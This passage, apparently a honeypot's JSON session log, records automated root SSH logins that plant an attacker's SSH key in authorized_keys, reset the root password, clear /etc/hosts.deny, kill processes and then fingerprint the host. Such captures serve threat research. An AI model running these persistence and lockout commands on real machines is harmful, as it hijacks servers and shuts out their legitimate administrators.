\"root:wwGCdmvz3AdZ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:59:46.167839+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:59:46.514890+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:59:47.328283+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:59:47.677734+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:59:48.502969+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:59:48.852934+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:59:49.754302+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:59:50.105991+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:59:50.822813+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:59:51.172377+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:59:51.751217+00:00","kind":"output","latency_ms":null,"data":" 07:59:51 up 7 days, 4:49, 0 user, load average: 0.1, 0.11, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:59:52.104100+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:59:52.522142+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:59:52.872511+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:59:53.751177+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:59:54.102824+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:59:54.813153+00:00","kind":"output","latency_ms":null,"data":"top - 07:59:54 up 7 days, 4:50, 0 user, load average: 0.1, 0.11, 0.11\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:59:55.162086+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:59:55.743394+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:59:56.093442+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:59:56.969112+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:59:57.318415+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:59:58.160834+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:59:58.510677+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:59:59.766993+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:00:00.115869+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:00:00.995520+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"8899","method":"password","accepted":true,"tier":"other"}]} {"id":"526ccc32-3278-43c2-8f81-18ffc9142ec7","name":"watchful-subtle-badger","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":46544,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":325,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:51:40.258908+00:00","ended_at":"2026-08-27T07:51:42.100928+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T07:51:21.830687+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:51:22.153776+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:51:25.887329+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:51:26.692546+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:51:27.018412+00:00","kind":"input","latency_ms":null,"data":"echo \"root:4lV1QkNsoZg6\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:51:27.340120+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:51:27.663398+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:51:28.110202+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:51:28.434282+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:51:29.776196+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:51:30.119598+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:51:31.118398+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:51:31.443545+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:51:32.174164+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:51:32.501545+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:51:33.230822+00:00","kind":"output","latency_ms":null,"data":" 07:51:33 up 7 days, 4:41, 0 user, load average: 0.32, 0.38, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:51:33.555018+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:51:34.380465+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:51:34.703559+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:51:35.172533+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:51:35.497358+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:51:36.330638+00:00","kind":"output","latency_ms":null,"data":"top - 07:51:36 up 7 days, 4:41, 0 user, load average: 0.32, 0.38, 0.2\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:51:36.654822+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:51:37.258566+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:51:37.584245+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:51:38.101429+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:51:38.426604+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:51:38.682425+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:51:39.007242+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:51:39.934530+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:51:40.259708+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:51:42.007128+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwer@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"94ff5a48-3683-4428-9c98-5452bc5b7406","name":"valiant-plush-turnstone","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":48844,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":368,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:30:31.282669+00:00","ended_at":"2026-08-27T07:30:32.695110+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T07:30:10.905891+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:30:11.272243+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:30:15.711065+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:30:16.462581+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:30:16.816032+00:00","kind":"input","latency_ms":null,"data":"echo \"root:93IiYqsJTF5F\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:30:17.182039+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:30:17.548651+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:30:18.030047+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:30:18.397631+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:30:19.667049+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:30:20.027340+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:30:21.327500+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:30:21.696789+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:30:22.570338+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:30:22.938023+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:30:23.619122+00:00","kind":"output","latency_ms":null,"data":" 07:30:23 up 7 days, 4:20, 0 user, load average: 0.12, 0.12, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:30:23.987600+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:30:24.675491+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:30:25.043823+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:30:25.647556+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:30:26.014241+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:30:26.515400+00:00","kind":"output","latency_ms":null,"data":"top - 07:30:26 up 7 days, 4:20, 0 user, load average: 0.12, 0.12, 0.11\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:30:26.886034+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:30:27.598468+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:30:27.971914+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:30:28.344276+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:30:28.712190+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:30:29.585484+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:30:29.953493+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:30:30.917541+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:30:31.283840+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:30:32.584171+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"S3curity","method":"password","accepted":true,"tier":"other"}]} {"id":"33a416c2-d44e-49ee-b200-ed7af2034aa4","name":"lofty-prickly-ocelot","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":57532,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":334,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:28:19.250693+00:00","ended_at":"2026-08-27T07:28:21.427591+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T07:27:59.202268+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:27:59.533668+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:28:04.104444+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:28:04.419073+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:28:04.754216+00:00","kind":"input","latency_ms":null,"data":"echo \"root:chehH2VNp6Ki\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:28:05.085562+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:28:05.417764+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:28:06.113276+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:28:06.444205+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:28:07.671700+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:28:08.006681+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:28:09.062889+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:28:09.397385+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:28:09.955449+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:28:10.289393+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:28:10.849662+00:00","kind":"output","latency_ms":null,"data":" 07:28:10 up 7 days, 4:18, 0 user, load average: 0.05, 0.04, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:28:11.181928+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:28:11.938331+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:28:12.271156+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:28:12.963186+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:28:13.297114+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:28:13.955249+00:00","kind":"output","latency_ms":null,"data":"top - 07:28:13 up 7 days, 4:18, 0 user, load average: 0.05, 0.04, 0.04\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:28:14.289900+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:28:15.086396+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:28:15.420111+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:28:16.036878+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:28:16.369341+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:28:17.151608+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:28:17.483377+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:28:18.918238+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:28:19.251508+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:28:21.329497+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"cnp200@HW","method":"password","accepted":true,"tier":"other"}]} {"id":"9d5b2901-3556-4c9b-806e-07f5bc37792c","name":"lonesome-vaulted-mongoose","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":55388,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":334,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:22:10.073480+00:00","ended_at":"2026-08-27T07:22:11.907203+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2289,"events":[{"seq":1,"at":"2026-08-27T07:21:52.567878+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:21:52.900685+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:21:56.636271+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:21:57.348387+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:21:57.686015+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HTXHDqKCe47M\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:21:58.016032+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:21:58.348326+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:21:59.227039+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:21:59.561105+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:22:00.673768+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:22:01.009625+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:22:01.944641+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:22:02.279854+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:22:02.641001+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:22:02.974610+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:22:03.381943+00:00","kind":"output","latency_ms":null,"data":" 07:22:03 up 7 days, 4:12, 0 user, load average: 0.3, 0.23, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:22:03.716140+00:00","kind":"input","latency_ms":null,"data":"uname 